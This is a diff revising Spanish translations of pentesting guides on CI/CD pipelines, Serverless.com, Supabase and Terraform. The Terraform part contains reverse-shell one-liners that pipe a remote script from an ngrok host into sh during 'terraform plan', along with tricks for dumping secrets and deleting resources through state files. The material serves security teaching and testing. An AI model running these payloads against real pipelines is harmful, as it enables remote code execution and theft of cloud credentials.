+- Comprometer la principal (u otras ramas) para **comprometer las máquinas de los desarrolladores** (ya que generalmente ejecutan pruebas, terraform u otras cosas dentro del repositorio en sus máquinas).
+- **Comprometer el pipeline** (ver la siguiente sección).
 
-## Pipelines Pentesting Methodology
+## Metodología de Pentesting de Pipelines
 
-La forma más común de definir una pipeline es utilizando un **archivo de configuración de CI alojado en el repositorio** que la pipeline construye. Este archivo describe el orden de los trabajos ejecutados, las condiciones que afectan el flujo y la configuración del entorno de construcción.\
-Estos archivos típicamente tienen un nombre y formato consistentes, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los archivos YAML de GitHub Actions ubicados en .github/workflows. Cuando se activa, el trabajo de la pipeline **extrae el código** de la fuente seleccionada (por ejemplo, commit / rama), y **ejecuta los comandos especificados en el archivo de configuración de CI** contra ese código.
+La forma más común de definir un pipeline es utilizando un **archivo de configuración CI alojado en el repositorio** que el pipeline construye. Este archivo describe el orden de los trabajos ejecutados, las condiciones que afectan el flujo y la configuración del entorno de construcción.\
+Estos archivos generalmente tienen un nombre y formato consistentes, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) y los archivos YAML de GitHub Actions ubicados en .github/workflows. Cuando se activa, el trabajo del pipeline **extrae el código** de la fuente seleccionada (por ejemplo, commit / rama) y **ejecuta los comandos especificados en el archivo de configuración CI** contra ese código.
 
 Por lo tanto, el objetivo final del atacante es de alguna manera **comprometer esos archivos de configuración** o los **comandos que ejecutan**.
 
-### PPE - Poisoned Pipeline Execution
+### PPE - Ejecución de Pipeline Envenenado
 
-El camino de la Ejecución de Pipeline Envenenada (PPE) explota permisos en un repositorio SCM para manipular una pipeline de CI y ejecutar comandos dañinos. Los usuarios con los permisos necesarios pueden modificar archivos de configuración de CI u otros archivos utilizados por el trabajo de la pipeline para incluir comandos maliciosos. Esto "envenena" la pipeline de CI, llevando a la ejecución de estos comandos maliciosos.
+La ruta de Ejecución de Pipeline Envenenado (PPE) explota permisos en un repositorio SCM para manipular un pipeline CI y ejecutar comandos dañinos. Los usuarios con los permisos necesarios pueden modificar archivos de configuración CI u otros archivos utilizados por el trabajo del pipeline para incluir comandos maliciosos. Esto "envenena" el pipeline CI, llevando a la ejecución de estos comandos maliciosos.
 
-Para que un actor malicioso tenga éxito realizando un ataque PPE, necesita ser capaz de:
+Para que un actor malicioso tenga éxito realizando un ataque PPE, necesita poder:
 
-- Tener **acceso de escritura a la plataforma VCS**, ya que generalmente las pipelines se activan cuando se realiza un push o un pull request. (Consulta la metodología de pentesting VCS para un resumen de formas de obtener acceso).
+- Tener **acceso de escritura a la plataforma VCS**, ya que generalmente los pipelines se activan cuando se realiza un push o un pull request. (Consulta la metodología de pentesting VCS para un resumen de formas de obtener acceso).
 - Ten en cuenta que a veces un **PR externo cuenta como "acceso de escritura"**.
-- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modificar el archivo de configuración de CI u otros archivos de los que depende la configuración**.
-- Para esto, podría necesitar ser capaz de **eludir las protecciones de rama**.
+- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modificar el archivo de configuración CI u otros archivos de los que depende la configuración**.
+- Para esto, podría necesitar poder **eludir las protecciones de rama**.
 
 Hay 3 sabores de PPE:
 
-- **D-PPE**: Un ataque **Directo PPE** ocurre cuando el actor **modifica el archivo de configuración de CI** que va a ser ejecutado.
-- **I-DDE**: Un ataque **Indirecto PPE** ocurre cuando el actor **modifica** un **archivo** del que el archivo de configuración de CI que va a ser ejecutado **depende** (como un archivo make o una configuración de terraform).
-- **Public PPE o 3PE**: En algunos casos, las pipelines pueden ser **activadas por usuarios que no tienen acceso de escritura en el repo** (y que podrían no ser parte de la organización) porque pueden enviar un PR.
-- **3PE Command Injection**: Generalmente, las pipelines de CI/CD **configurarán variables de entorno** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y es **utilizado** en un **lugar peligroso** (como ejecutar **comandos sh**), un atacante podría **inyectar comandos allí**.
+- **D-PPE**: Un ataque **Directo PPE** ocurre cuando el actor **modifica el archivo de configuración CI** que se va a ejecutar.
+- **I-DDE**: Un ataque **Indirecto PPE** ocurre cuando el actor **modifica** un **archivo** del que el archivo de configuración CI que se va a ejecutar **depende** (como un archivo make o una configuración de terraform).
+- **PPE Público o 3PE**: En algunos casos, los pipelines pueden ser **activados por usuarios que no tienen acceso de escritura en el repositorio** (y que podrían ni siquiera ser parte de la organización) porque pueden enviar un PR.
+- **Inyección de Comandos 3PE**: Generalmente, los pipelines CI/CD **configuran variables de entorno** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y se **usa** en un **lugar peligroso** (como ejecutar **comandos sh**), un atacante podría **inyectar comandos allí**.
 
-### Exploitation Benefits
+### Beneficios de la Explotación
 
-Conociendo los 3 sabores para envenenar una pipeline, veamos qué podría obtener un atacante después de una explotación exitosa:
+Conociendo los 3 sabores para envenenar un pipeline, veamos qué podría obtener un atacante después de una explotación exitosa:
 
-- **Secrets**: Como se mencionó anteriormente, las pipelines requieren **privilegios** para sus trabajos (recuperar el código, construirlo, desplegarlo...) y estos privilegios generalmente están **otorgados en secretos**. Estos secretos son generalmente accesibles a través de **variables de entorno o archivos dentro del sistema**. Por lo tanto, un atacante siempre intentará exfiltrar tantos secretos como sea posible.
-- Dependiendo de la plataforma de la pipeline, el atacante **podría necesitar especificar los secretos en la configuración**. Esto significa que si el atacante no puede modificar la pipeline de configuración de CI (**I-PPE** por ejemplo), podría **solo exfiltrar los secretos que tiene esa pipeline**.
-- **Computation**: El código se ejecuta en algún lugar, dependiendo de dónde se ejecute, un atacante podría ser capaz de pivotar más.
-- **On-Premises**: Si las pipelines se ejecutan en las instalaciones, un atacante podría terminar en una **red interna con acceso a más recursos**.
-- **Cloud**: El atacante podría acceder a **otras máquinas en la nube** pero también podría **exfiltrar** tokens de cuentas de servicio/roles IAM **de ella para obtener** **más acceso dentro de la nube**.
-- **Platforms machine**: A veces los trabajos se ejecutarán dentro de las **máquinas de la plataforma de pipelines**, que generalmente están dentro de una nube con **sin más acceso**.
-- **Select it:** A veces la **plataforma de pipelines tendrá configuradas varias máquinas** y si puedes **modificar el archivo de configuración de CI** puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un shell inverso en cada máquina posible para intentar explotarla más.
-- **Compromise production**: Si estás dentro de la pipeline y la versión final se construye y despliega desde ella, podrías **comprometer el código que va a terminar ejecutándose en producción**.
+- **Secretos**: Como se mencionó anteriormente, los pipelines requieren **privilegios** para sus trabajos (recuperar el código, construirlo, desplegarlo...) y estos privilegios generalmente están **otorgados en secretos**. Estos secretos son generalmente accesibles a través de **variables de entorno o archivos dentro del sistema**. Por lo tanto, un atacante siempre intentará exfiltrar tantos secretos como sea posible.
+- Dependiendo de la plataforma del pipeline, el atacante **podría necesitar especificar los secretos en la configuración**. Esto significa que si el atacante no puede modificar la configuración del pipeline CI (**I-PPE** por ejemplo), podría **solo exfiltrar los secretos que tiene ese pipeline**.
+- **Cómputo**: El código se ejecuta en algún lugar, dependiendo de dónde se ejecute, un atacante podría ser capaz de pivotar más allá.
+- **On-Premises**: Si los pipelines se ejecutan en las instalaciones, un atacante podría terminar en una **red interna con acceso a más recursos**.
+- **Nube**: El atacante podría acceder a **otras máquinas en la nube** pero también podría **exfiltrar** tokens de cuentas de servicio/roles IAM **de ella para obtener** **más acceso dentro de la nube**.
+- **Máquina de plataformas**: A veces los trabajos se ejecutarán dentro de las **máquinas de la plataforma de pipelines**, que generalmente están dentro de una nube con **sin más acceso**.
+- **Seleccionarlo:** A veces la **plataforma de pipelines tendrá configuradas varias máquinas** y si puedes **modificar el archivo de configuración CI**, puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un shell inverso en cada máquina posible para intentar explotarla más.
+- **Comprometer producción**: Si estás dentro del pipeline y la versión final se construye y despliega desde él, podrías **comprometer el código que va a terminar ejecutándose en producción**.
 
-## More relevant info
+## Más información relevante
 
-### Tools & CIS Benchmark
+### Herramientas y Benchmark CIS
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta de código abierto para auditar tu cadena de suministro de software para cumplimiento de seguridad basada en un nuevo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se centra en todo el proceso SDLC, donde puede revelar riesgos desde el tiempo de código hasta el tiempo de despliegue.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta de código abierto para auditar tu pila de cadena de suministro de software para cumplimiento de seguridad basado en un nuevo [**benchmark de Seguridad de Cadena de Suministro de Software CIS**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se centra en todo el proceso SDLC, donde puede revelar riesgos desde el tiempo de código hasta el tiempo de despliegue.
 
-### Top 10 CI/CD Security Risk
+### Top 10 Riesgos de Seguridad CI/CD
 
 Consulta este interesante artículo sobre los 10 principales riesgos de CI/CD según Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
-### Labs
+### Laboratorios
 
-- En cada plataforma que puedes ejecutar localmente encontrarás cómo lanzarla localmente para que puedas configurarla como desees para probarla.
+- En cada plataforma que puedes ejecutar localmente encontrarás cómo lanzarlo localmente para que puedas configurarlo como desees para probarlo.
 - Laboratorio Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
-### Automatic Tools
+### Herramientas Automáticas
 
 - [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** es una herramienta de análisis de código estático para infraestructura como código.
 
-## References
+## Referencias
 
 - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
 

src/pentesting-ci-cd/serverless.com-security.md

@@ -1,4 +1,4 @@
-# Serverless.com Security
+# Seguridad de Serverless.com
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -96,7 +96,7 @@ WriteCapacityUnits: 1
 
 <summary>Proveedor</summary>
 
-El **Proveedor** objeto especifica el proveedor de servicios en la nube (por ejemplo, AWS, Azure, Google Cloud) y contiene configuraciones relevantes para ese proveedor.
+El objeto **Proveedor** especifica el proveedor de servicios en la nube (por ejemplo, AWS, Azure, Google Cloud) y contiene configuraciones relevantes para ese proveedor.
 
 Incluye detalles como el tiempo de ejecución, la región, la etapa y las credenciales.
 ```yaml
@@ -112,7 +112,7 @@ stage: dev
 
 <summary>Etapa y Región</summary>
 
-La etapa representa diferentes entornos (por ejemplo, desarrollo, preproducción, producción) donde su servicio puede ser desplegado. Permite configuraciones y despliegues específicos del entorno.
+La etapa representa diferentes entornos (por ejemplo, desarrollo, preproducción, producción) donde tu servicio puede ser desplegado. Permite configuraciones y despliegues específicos del entorno.
 ```yaml
 provider:
 stage: dev
@@ -140,7 +140,7 @@ plugins:
 
 <summary>Capas</summary>
 
-**Capas** te permiten empaquetar y gestionar código compartido o dependencias por separado de tus funciones. Esto promueve la reutilización y reduce el tamaño de los paquetes de despliegue. Se definen en la sección `layers` y son referenciadas por las funciones.
+**Capas** te permiten empaquetar y gestionar código compartido o dependencias por separado de tus funciones. Esto promueve la reutilización y reduce el tamaño de los paquetes de implementación. Se definen en la sección `layers` y son referenciadas por las funciones.
 ```yaml
 layers:
 commonLibs:
@@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'}
 
 <summary>Salidas</summary>
 
-**Salidas** definen los valores que se devuelven después de que un servicio es implementado, como ARNs de recursos, puntos finales u otra información útil. Se especifican en la sección `outputs` y a menudo se utilizan para exponer información a otros servicios o para un acceso fácil después de la implementación.
+**Salidas** definen los valores que se devuelven después de que un servicio es implementado, como ARNs de recursos, puntos finales u otra información útil. Se especifican en la sección `outputs` y a menudo se utilizan para exponer información a otros servicios o para un fácil acceso después de la implementación.
 ```yaml
 ¡outputs:
 ApiEndpoint:
@@ -243,7 +243,7 @@ TABLE_NAME: ${self:custom.tableName}
 
 <summary>Dependencias</summary>
 
-**Dependencias** gestionan las bibliotecas y módulos externos que requieren tus funciones. Normalmente se manejan a través de administradores de paquetes como npm o pip, y se empaquetan con tu paquete de despliegue utilizando herramientas o complementos como `serverless-webpack`.
+**Dependencias** gestionan las bibliotecas y módulos externos que requieren tus funciones. Generalmente se manejan a través de administradores de paquetes como npm o pip, y se empaquetan con tu paquete de despliegue utilizando herramientas o complementos como `serverless-webpack`.
 ```yaml
 plugins:
 - serverless-webpack
@@ -325,7 +325,7 @@ method: get
 
 4. Crea un proveedor de AWS, yendo al **dashboard** en `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
 1. Para dar acceso a `serverless.com` a AWS, pedirá ejecutar una pila de cloudformation usando este archivo de configuración (en el momento de escribir esto): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
-2. Esta plantilla genera un rol llamado **`SFRole-<ID>`** con **`arn:aws:iam::aws:policy/AdministratorAccess`** sobre la cuenta con una Identidad de Confianza que permite a la cuenta de AWS de `Serverless.com` acceder al rol.
+2. Esta plantilla genera un rol llamado **`SFRole-<ID>`** con **`arn:aws:iam::aws:policy/AdministratorAccess`** sobre la cuenta con una Identidad de Confianza que permite que la cuenta de AWS de `Serverless.com` acceda al rol.
 
 <details>
 
@@ -482,7 +482,7 @@ TableName: ${self:service}-customerTable-${sls:stage}
 {{#endtabs }}
 
 6. Despliegue ejecutando **`serverless deploy`**
-1. El despliegue se realizará a través de una pila de CloudFormation
+1. El despliegue se realizará a través de un CloudFormation Stack
 2. Tenga en cuenta que las **lambdas están expuestas a través de API gateway** y no a través de URLs directas
 7. **Pruébelo**
 1. El paso anterior imprimirá las **URLs** donde se han desplegado las funciones lambda de sus puntos finales de API
@@ -564,10 +564,10 @@ provider:
 environment:
 DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
 ```
-And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
+Y incluso si esto previene la codificación dura del valor de la variable de entorno en el **`serverless.yml`**, el valor se obtendrá en el momento de la implementación y se **agregará en texto claro dentro de la variable de entorno de lambda**.
 
 > [!TIP]
-> La forma recomendada de almacenar variables de entorno usando serveless.com sería **almacenarla en un secreto de AWS** y solo almacenar el nombre del secreto en la variable de entorno y el **código lambda debería recogerlo**.
+> La forma recomendada de almacenar variables de entorno usando serveless.com sería **almacenarla en un secreto de AWS** y solo almacenar el nombre del secreto en la variable de entorno y el **código de lambda debería recogerlo**.
 
 #### **Estrategias de Mitigación**
 
@@ -592,7 +592,7 @@ plugins:
 ```
 
 - **Validación de Entradas:** Implementar una validación y sanitización estrictas de todas las entradas.
-- **Revisiones de Código:** Realizar revisiones exhaustivas para identificar fallos de seguridad.
+- **Revisiones de Código:** Realizar revisiones exhaustivas para identificar fallas de seguridad.
 - **Análisis Estático:** Utilizar herramientas para detectar vulnerabilidades en la base de código.
 
 ---
@@ -665,7 +665,7 @@ headers:
 
 ---
 
-### **Aislamiento de Funciones Insuficiente**
+### **Aislamiento Insuficiente de Funciones**
 
 Recursos compartidos y un aislamiento inadecuado pueden llevar a escalaciones de privilegios o interacciones no deseadas entre funciones.
 
@@ -759,7 +759,7 @@ Usar plugins de terceros no verificados o maliciosos puede introducir vulnerabil
 
 #### **Estrategias de Mitigación**
 
-- **Evaluar Plugins a Fondo:** Evaluar la seguridad de los plugins antes de la integración, favoreciendo aquellos de fuentes reputables.
+- **Evaluar Plugins a Fondo:** Evaluar la seguridad de los plugins antes de la integración, favoreciendo aquellos de fuentes reputadas.
 - **Limitar el Uso de Plugins:** Usar solo los plugins necesarios para minimizar la superficie de ataque.
 - **Monitorear Actualizaciones de Plugins:** Mantener los plugins actualizados para beneficiarse de parches de seguridad.
 - **Aislar Entornos de Plugins:** Ejecutar plugins en entornos aislados para contener posibles compromisos.
@@ -774,14 +774,14 @@ Funciones accesibles públicamente o APIs sin restricciones pueden ser explotada
 
 - **Restringir el Acceso a Funciones:** Usar VPCs, grupos de seguridad y reglas de firewall para limitar el acceso a fuentes confiables.
 - **Implementar Autenticación Robusta:** Asegurarse de que todos los puntos finales expuestos requieran autenticación y autorización adecuadas.
-- **Usar API Gateways de Forma Segura:** Configurar API Gateways para hacer cumplir políticas de seguridad, incluyendo validación de entradas y limitación de tasas.
+- **Usar API Gateways de Forma Segura:** Configurar API Gateways para hacer cumplir políticas de seguridad, incluyendo validación de entradas y limitación de tasa.
 - **Deshabilitar Puntos Finales No Utilizados:** Revisar regularmente y deshabilitar cualquier punto final que ya no esté en uso.
 
 ---
 
 ### **Permisos Excesivos para Miembros del Equipo y Colaboradores Externos**
 
-Conceder permisos excesivos a miembros del equipo y colaboradores externos puede llevar a acceso no autorizado, brechas de datos y uso indebido de recursos. Este riesgo se incrementa en entornos donde múltiples individuos tienen diferentes niveles de acceso, aumentando la superficie de ataque y el potencial de amenazas internas.
+Conceder permisos excesivos a miembros del equipo y colaboradores externos puede llevar a acceso no autorizado, brechas de datos y uso indebido de recursos. Este riesgo se agrava en entornos donde múltiples individuos tienen diferentes niveles de acceso, aumentando la superficie de ataque y el potencial de amenazas internas.
 
 #### **Estrategias de Mitigación**
 
@@ -791,17 +791,17 @@ Conceder permisos excesivos a miembros del equipo y colaboradores externos puede
 
 ### **Seguridad de Claves de Acceso y Claves de Licencia**
 
-**Claves de Acceso** y **Claves de Licencia** son credenciales críticas utilizadas para autenticar y autorizar interacciones con la CLI de Serverless Framework.
+**Claves de Acceso** y **Claves de Licencia** son credenciales críticas utilizadas para autenticar y autorizar interacciones con el CLI de Serverless Framework.
 
-- **Claves de Licencia:** Son identificadores únicos requeridos para autenticar el acceso a Serverless Framework Versión 4 que permite iniciar sesión a través de la CLI.
-- **Claves de Acceso:** Credenciales que permiten a la CLI de Serverless Framework autenticarse con el Dashboard de Serverless Framework. Al iniciar sesión con la CLI `serverless`, se generará y almacenará una clave de acceso en la **computadora portátil**. También puede configurarse como una variable de entorno llamada `SERVERLESS_ACCESS_KEY`.
+- **Claves de Licencia:** Son identificadores únicos requeridos para autenticar el acceso a Serverless Framework Versión 4 que permite iniciar sesión a través del CLI.
+- **Claves de Acceso:** Credenciales que permiten al CLI de Serverless Framework autenticarse con el Dashboard de Serverless Framework. Al iniciar sesión con el cli `serverless`, se generará y almacenará una clave de acceso en la **computadora portátil**. También puede configurarse como una variable de entorno llamada `SERVERLESS_ACCESS_KEY`.
 
 #### **Riesgos de Seguridad**
 
 1. **Exposición a Través de Repositorios de Código:**
 - Codificar o comprometer accidentalmente Claves de Acceso y Claves de Licencia en sistemas de control de versiones puede llevar a acceso no autorizado.
 2. **Almacenamiento Inseguro:**
-- Almacenar claves en texto plano dentro de variables de entorno o archivos de configuración sin la encriptación adecuada aumenta la probabilidad de filtraciones.
+- Almacenar claves en texto claro dentro de variables de entorno o archivos de configuración sin la encriptación adecuada aumenta la probabilidad de filtraciones.
 3. **Distribución Inadecuada:**
 - Compartir claves a través de canales no seguros (por ejemplo, correo electrónico, chat) puede resultar en la interceptación por actores maliciosos.
 4. **Falta de Rotación:**

src/pentesting-ci-cd/supabase-security.md

@@ -1,4 +1,4 @@
-# Supabase Security
+# Seguridad de Supabase
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -35,7 +35,7 @@ Esta sección también contiene opciones para:
 
 La URL para acceder a la API de supabase en tu proyecto será como: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
 
-### claves api anon
+### claves de api anon
 
 También generará una **clave API anon** (`role: "anon"`), como: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` que la aplicación necesitará usar para contactar la clave API expuesta en nuestro ejemplo en
 
@@ -99,7 +99,7 @@ Priority: u=1, i
 ```
 </details>
 
-Entonces, cada vez que descubras un cliente que utiliza supabase con el subdominio que se le otorgó (es posible que un subdominio de la empresa tenga un CNAME sobre su subdominio de supabase), podrías intentar **crear una nueva cuenta en la plataforma utilizando la API de supabase**.
+Así que, cada vez que descubras un cliente que utiliza supabase con el subdominio que se le otorgó (es posible que un subdominio de la empresa tenga un CNAME sobre su subdominio de supabase), podrías intentar **crear una nueva cuenta en la plataforma utilizando la API de supabase**.
 
 ### claves api secretas / service_role
 
@@ -107,9 +107,9 @@ Una clave API secreta también se generará con **`role: "service_role"`**. Esta
 
 La clave API se ve así: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
 
-### Secreto JWT
+### JWT Secret
 
-Un **secreto JWT** también se generará para que la aplicación pueda **crear y firmar tokens JWT personalizados**.
+Un **JWT Secret** también se generará para que la aplicación pueda **crear y firmar tokens JWT personalizados**.
 
 ## Autenticación
 
@@ -119,7 +119,7 @@ Un **secreto JWT** también se generará para que la aplicación pueda **crear y
 > Por **defecto**, supabase permitirá **que nuevos usuarios creen cuentas** en tu proyecto utilizando los endpoints de API mencionados anteriormente.
 
 Sin embargo, estas nuevas cuentas, por defecto, **necesitarán validar su dirección de correo electrónico** para poder iniciar sesión en la cuenta. Es posible habilitar **"Permitir inicios de sesión anónimos"** para permitir que las personas inicien sesión sin verificar su dirección de correo electrónico. Esto podría otorgar acceso a **datos inesperados** (obtienen los roles `public` y `authenticated`).\
-Esta es una muy mala idea porque supabase cobra por usuario activo, por lo que las personas podrían crear usuarios e iniciar sesión y supabase cobrará por esos:
+Esta es una muy mala idea porque supabase cobra por usuario activo, así que las personas podrían crear usuarios e iniciar sesión y supabase cobrará por esos:
 
 <figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 

src/pentesting-ci-cd/terraform-security.md

@@ -6,19 +6,19 @@
 
 [De la documentación:](https://developer.hashicorp.com/terraform/intro)
 
-HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como en local** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS.
+HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como locales** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS.
 
 #### ¿Cómo funciona Terraform?
 
-Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los proveedores permiten que Terraform funcione con prácticamente cualquier plataforma o servicio con una API accesible.
+Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los proveedores permiten que Terraform trabaje con prácticamente cualquier plataforma o servicio con una API accesible.
 
 ![](<../images/image (177).png>)
 
-HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de tipos diferentes de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.
+HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de diferentes tipos de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.
 
-El flujo de trabajo principal de Terraform consta de tres etapas:
+El flujo de trabajo central de Terraform consta de tres etapas:
 
-- **Escribir:** Definís recursos, que pueden estar en múltiples proveedores y servicios en la nube. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales en una red de Nube Privada Virtual (VPC) con grupos de seguridad y un balanceador de carga.
+- **Escribir:** Defines recursos, que pueden estar en múltiples proveedores y servicios en la nube. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales en una red de Nube Privada Virtual (VPC) con grupos de seguridad y un balanceador de carga.
 - **Planificar:** Terraform crea un plan de ejecución que describe la infraestructura que creará, actualizará o destruirá en función de la infraestructura existente y tu configuración.
 - **Aplicar:** Con la aprobación, Terraform realiza las operaciones propuestas en el orden correcto, respetando cualquier dependencia de recursos. Por ejemplo, si actualizas las propiedades de una VPC y cambias el número de máquinas virtuales en esa VPC, Terraform recreará la VPC antes de escalar las máquinas virtuales.
 
@@ -44,15 +44,15 @@ De hecho, hay soluciones que **ejecutan terraform plan/apply automáticamente de
 atlantis-security.md
 {{#endref}}
 
-Si puedes comprometer un archivo de terraform, hay diferentes maneras en que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`.
+Si puedes comprometer un archivo de terraform, hay diferentes formas en que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`.
 
 ### Terraform plan
 
-Terraform plan es el **comando más utilizado** en terraform y los desarrolladores/soluciones que utilizan terraform lo llaman todo el tiempo, por lo que la **manera más fácil de obtener RCE** es asegurarte de envenenar un archivo de configuración de terraform que ejecute comandos arbitrarios en un `terraform plan`.
+Terraform plan es el **comando más utilizado** en terraform y los desarrolladores/soluciones que utilizan terraform lo llaman todo el tiempo, así que la **manera más fácil de obtener RCE** es asegurarte de envenenar un archivo de configuración de terraform que ejecute comandos arbitrarios en un `terraform plan`.
 
 **Usando un proveedor externo**
 
-Terraform ofrece el [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que proporciona una forma de interfaz entre Terraform y programas externos. Puedes usar la fuente de datos `external` para ejecutar código arbitrario durante un `plan`.
+Terraform ofrece el [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que proporciona una forma de interaccionar entre Terraform y programas externos. Puedes usar la fuente de datos `external` para ejecutar código arbitrario durante un `plan`.
 
 Inyectar en un archivo de configuración de terraform algo como lo siguiente ejecutará un rev shell al ejecutar `terraform plan`:
 ```javascript
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
 ```
 **Usando un proveedor personalizado**
 
-Un atacante podría enviar un [proveedor personalizado](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Registro de Terraform](https://registry.terraform.io/) y luego agregarlo al código de Terraform en una rama de características ([ejemplo de aquí](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Un atacante podría enviar un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Terraform Registry](https://registry.terraform.io/) y luego agregarlo al código de Terraform en una rama de características ([ejemplo de aquí](https://alex.kaskaso.li/post/terraform-plan-rce)):
 ```javascript
 terraform {
 required_providers {
@@ -114,19 +114,19 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 ```
 Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa utilizando referencias externas**.
 
-## Volcados de secretos
+## Extracción de secretos
 
-Puedes tener **valores secretos utilizados por terraform volcados** ejecutando `terraform apply` al agregar al archivo de terraform algo como:
+Puedes tener **valores secretos utilizados por terraform extraídos** ejecutando `terraform apply` al agregar al archivo de terraform algo como:
 ```json
 output "dotoken" {
 value = nonsensitive(var.do_token)
 }
 ```
-## Abusing Terraform State Files
+## Abusando de los Archivos de Estado de Terraform
 
 En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, [**esta investigación**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) ofrece algunas opciones interesantes para aprovechar el archivo:
 
-### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
+### Eliminando recursos <a href="#deleting-resources" id="deleting-resources"></a>
 
 Hay 2 formas de destruir recursos:
 
@@ -148,9 +148,9 @@ Porque terraform verá que el recurso no debería existir, lo destruirá (siguie
 ]
 },
 ```
-2. **Modificar el recurso para eliminar de manera que no sea posible actualizar (así será eliminado y recreado)**
+2. **Modificar el recurso para eliminarlo de manera que no sea posible actualizarlo (así será eliminado y recreado)**
 
-Para una instancia EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree.
+Para una instancia de EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree.
 
 ### RCE
 
@@ -195,7 +195,7 @@ Snyk ofrece una solución integral de escaneo de Infrastructure as Code (IaC) qu
